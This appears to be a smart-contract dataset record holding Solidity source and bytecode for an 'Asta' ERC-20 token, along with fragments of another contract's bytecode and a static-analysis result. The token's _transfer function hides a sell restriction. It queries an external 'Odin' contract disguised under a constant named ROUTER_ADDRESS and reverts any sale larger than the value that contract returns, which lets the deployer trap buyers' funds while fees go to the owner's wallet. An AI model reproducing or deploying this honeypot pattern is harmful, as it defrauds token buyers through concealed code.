45580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600030600160a060020a031684600160a060020a031614151515610aab57600080fd5b610ab6858585610665565b5083600160a060020a03168260405180828051906020019080838360005b83811015610aec578181015183820152602001610ad4565b50505050905090810190601f168015610b195780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af19150501515610b3957600080fd5b506001949350505050565b600030600160a060020a031684600160a060020a031614151515610b6757600080fd5b6105d2848461098f565b600160a060020a033381166000908152600160209081526040808320938616835292905290812054610ba9908363ffffffff610c5016565b600160a060020a0333811660008181526001602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600082821115610c4a57fe5b50900390565b600082820183811015610c5f57fe5b93925050505600a165627a7a72305820d91823a5fd2edd3f877413cc6ef3d8f82aa18dfca082025f675dd9655cf4275b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,271
0x9F059DdF92CcE3c41329165763162F8c90f1320d
//SPDX-License-Identifier: MIT // Telegram: t.me/astatoken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Asta"; string constant TOKEN_SYMBOL="ASTA"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ASTA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600481526020017f4173746100000000000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4153544100000000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600a60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600a60159054906101000a900460ff161580156112b15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600a60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600654821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060065490506000662386f26fc10000905061194b662386f26fc1000060065461170490919063ffffffff16565b82101561196857600654662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600654611a3e90919063ffffffff16565b600681905550611bd381600754611a8890919063ffffffff16565b6007819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220055099f14ad6e1322ee601cb8f3066829869751bef815478ef0db0c1d951dfde64736f6c63430008070033
